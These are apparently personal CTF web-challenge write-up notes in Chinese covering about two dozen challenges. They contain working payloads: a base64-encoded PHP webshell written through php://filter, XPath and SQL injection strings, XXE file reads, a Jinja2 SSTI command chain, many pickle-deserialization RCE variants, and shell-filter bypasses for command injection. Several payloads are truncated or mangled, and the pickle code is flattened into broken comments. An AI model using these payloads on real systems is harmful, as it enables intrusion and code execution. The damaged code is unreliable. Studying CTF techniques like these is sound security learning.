1.到底给不给 flag

GET:?a=flag&flag=a
PSOT:?a=flag data:_GET[flag]=a
2.写 shell

很明显需要传入 webshell 并要让<?php exit() 失效,开始尝试传 filename=1.php,/&content=/websehll 尝试后发现不行,在本地尝试也不行,会报错,应该是不允许这样的路径
file_put_contents 可以使用伪协议,同时又需要使<?php exit()失效,尝试写入 base64 编码后的内容,base64 会忽略掉非法字符,只剩下 phpexit,同时 base64 需要长度为 4 的倍数,将 webshell base64 编码后添加一个字符,补齐前面字符串长度为 8,过滤掉前面字符串的影响
最终 payload:?filename=php://filter/write=convert.base64-decode/resource=1.php content=aPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4= a 作补齐作用,
3.注入

进入环境有一个查询按钮,点击查询可以通过 id 来查询人物信息,首先考虑 sql 注入,但是尝试单引号等都不报错,查看题解发现有一个 xpath 注入
有关信息:https://www.cnblogs.com/endust/p/11831729.html
可能查询结构 //user[id=‘$input’]
payload:’]|//|//[’
拼接后 //uer=[id=”]|//|//[”]
//表示相对路径,从当前的节点选择匹配的节点
| 表示连接 *匹配所有元素节点

回显所有元素
4.某函数的复仇

明显利用点:root); 开始考虑可能是某个反射类或 匿名函数
找到一个可利用方法 create_function(args,code){},相当于 eval(function(args){code});闭合{}实现逃逸,
payload
5.xxe

显示了基本信息,参数 c 不管输入什么都回显 phpinfo()内容
提示 xxe,扫目录扫到 dom.php

报错显示: DOMDocument::loadXML(): Empty string supplied as input
DOMDocument::loadXML()
直接构造 payload:
]>
!ENTITY test SYSTEM 表示引入外部实体 test,遇到&test;会替换成 STSTEM 指向的内容 file://etc/passwd
直接使用 file 协议解析失败,php 代码会破化 xml 结构,尝试伪协议 base64 编码:
]>
成功拿到 flag
6.ssti

题目显示 ssti,直接注,确定是 jinjia2
尝试发现 subclass 关键字被过滤,尝试链子:/?name={{lipsum.globals[‘os’].popen(‘cat+/flag’).read()}}直接绕过
7.unpickle
查看附件,python 反序列化
python 中序列化:pickle.dumps() 反序列化:pickle.loads()
构造 payload:
class user: der __reduce__(self):反序列化时执行 import os return (eval,("__import__('os').popen('cat /flag').read())payload=pickle.dumps(user())payload=base64.b64encode(payload)print(payload)# 除了 __reduce__ + eval,还有多种 payload 形式:# 1. 直接调用函数# import pickle, base64, os# class Exploit:# def __reduce__(self):# return (os.popen, ('cat /flag', 'r')) ## 返回文件对象,需要read
# # 问题:popen返回文件对象,不能直接return
# 2. 使用 subprocess
# import pickle, base64, subprocess
# class Exploit:# def __reduce__(self):# return (subprocess.check_output, (['cat', '/flag'],))
# 3. __reduce_ex__ 方法(协议版本)
# class Exploit:# def __reduce_ex__(self, protocol):# return (eval, ("__import__('os').popen('cat# /flag').read()",))
# 4. 手写 pickle 字节码(绕过黑名单)
# 有些题目会过滤 os、system 等关键字,可以用 pickle 原生 opcode# 绕过:
# import base64
# # 手动构造 pickle opcode# payload = b'\x80\x04' # 协议4# payload += b'\x8c\x02os' # 短字符串 'os'# payload += b'\x94' # memoize# payload += b'\x8c\x06system' # 'system'# payload += b'\x94\x93\x94' # getattr -> os.system# payload += b'\x8c\x08cat /flag' # 命令# payload += b'\x94\x85\x94R\x94.' # 调用
# print(base64.b64encode(payload).decode())
# 5. builtins.getattr 链
# import pickle, base64
# class Exploit:# def __reduce__(self):# import builtins# return (# builtins.getattr,# (builtins.getattr, ('__self__', 'exec')),# ), ("__import__('os').popen('cat /flag').read()",)
# 6. types.FunctionType 动态创建函数
# import pickle, base64, types
# class Exploit:# def __reduce__(self):# return (types.FunctionType, (# compile("__import__('os').popen('cat /flag').read()",# '<x>', 'exec'),# {}# ),)
# 7. 利用全局变量 __globals__
# import pickle, base64
# class Exploit:# def __reduce__(self):# return (# eval,# ("[c for c in ''.__class__.__base__.__subclasses__()# if c.__name__=='catch_warnings'][0]()._module.__builtins__['open']# ('/flag').read()",)# )
# 8. 嵌套 REDUCE(多步操作)
# import pickle, base64
# class Exploit:# def __reduce__(self):# # 先 open 再 read# return (# eval,# ("open('/flag').read()",)# )8.BlackMagic

extract($_REQUEST)把 GET/POST 参数转换成变量,可以用来实现变量覆盖,但是这里先用了 extract 再定义的变量所以不能实现变量覆盖,但是我们可以用来定义一个新的变量
分析代码需要将strCharList中包含的字符,然后要与$strContent 相等
因为中间有不可见字符,所以使用 url 编码再发送,开始以为是空格发送后发现不行,编码后才发现是 tab 符
9.反序列化
10.找找 shell

对后门进行了混淆操作,将变量名改一下写的好看点,但是因为前期有一点问题导致后面还差点出来,不想搞了直接 ai
最后得到:?>
扫目录得到 shell.php,链接
11.再来 ping 一波

正常 ping127.0.0.1
尝试分割符 ; 没被过滤
尝试字符:$ , :没被过滤
空格 {} ?* / 被过滤
关键字过滤:常见读取命令都被过滤
空格使用%0a 绕过,关键字绕过使用$变量名拼接绕过,但是/被过滤掉就只能读取当前目录下的信息,尝试读取 flag 没反应,不在当前目录
查看题解可以直接读取当前 index.php 查看信息
payload:?ip=127.0.0.1;a=ind;b=ex;ta\ca$b.php
构造 payload 时遇到的坑:开始尝试使用%0a 绕过空格,但是%0a 是换行符,使用换行符会被 shell 认定为两条命令,可用a=ca md 难怪不行,但是不能使用 cat 只能用 tac 逆向输出
12.wu

无字母数字 rce,通过异或,取反,自增 https://www.cnblogs.com/pursue-security/p/15404150.html
?a=(%8C%86%8C%8B%9A%92)((%9c%9e%8b%df%85%97%9a%8c%97%96%99%93%9e%98%d1%8f%97%8f));
13.代码审计 1

分析代码执行 echo new xsx);
明显利用 php 的原生类

利用文件操作类 SplFileObject,并通过为协议读取
payload:?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
14.你的马呢
段标签绕过,再文件包含一下,但不知道为什么用一键可以链上但手动执行命令不行
15.exphp
不知道为什么连不上,和上面差不多
16.随机值

分析代码 Light 都是定义的一个局部变量,没有 this 指针,并不是类的属性
payload
17.phpurl

解密文件名:index.phps

访问路径查看代码
两次 url 编码绕过:index.php?sys=%25%37%38%25%37%38%25%37%33 注意是 index.php
18.search

开局一个搜索框
单引号闭合;query=1’%09Union%09select%091,2,group_concat(Flag),4,5%09From%09Flag#
19.file
文件上传
20.Playgame

$p=new PlayGame();$p->gameFile="/flag";$u=new User();$u->name=$p;$r=new PlayGame();$r->user=$p;$r->user->name=$u;echo urlencode(serialize($r));21.csdn

ssrf 用 file 协议读本地文件
22.Dragon

进去一个搜索框还以为是 sql 注入什么的,结果抓包直接在 cookie 中
23.tnl

开局一个搜索框,尝试 sql 注入
jb 输几次数字都没反应还以为卡了,输入 3 时回显报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘twothree” at line 1
我都没输单引号抱什么错

尝试扫目录,访问 flag.php 没有东西
访问其他目录也没有收获
查看题解才发现忽略的点,当输入 1,2 时抓包查看会回显 flag is here?,访问 flag.php 时也会回显 flag is here?,同时扫出的目录中还有 1.php,2.php, 所以这个参数可能是用来输入文件名,回显文件内容
尝试文件包含
几个小细节:开始时尝试 php://filter/convert.base64/encode/resource=flag.php 回显报错,又想着先读取 index.php 的源码,没有回显,又尝试读取 1.php 还是没东西,才想到原本时输入数字 1 能够回显 1.php 的内容,说明默认会添加.php 后缀,遂更改为 1 后能正常读取,再尝试 flag 还是不行,依旧报错,接着又尝试 index,成功回显内容
源码:
strpos(s1,s2)返回第二个字符串在第一个字符串中首次出现的位置
字符串中必须要出现 1,2,index 中的一种
利用为协议特性,php://filter 只有特定关键字有语义,垃圾字段会自动忽视,仅限 php://filter,其他的为协议不会忽略
payload:php://filter/convert.base64-encode/index/resource=flag
24.你知道 sys 还能这样玩吗
直接访问显示 403,扫目录也没发现,结合题目尝试访问 sys.php 回显代码:

符号过滤了 ? * 空格 {} .
没有过滤:$
可以用$IFS 绕过空格,变量拼接绕过关键字,但是.被过滤了有点难搞
查看题解发现新的过滤手法使用 [^a],表示匹配不是 a 的字符,让 shell 自动匹配.和通配符有点像
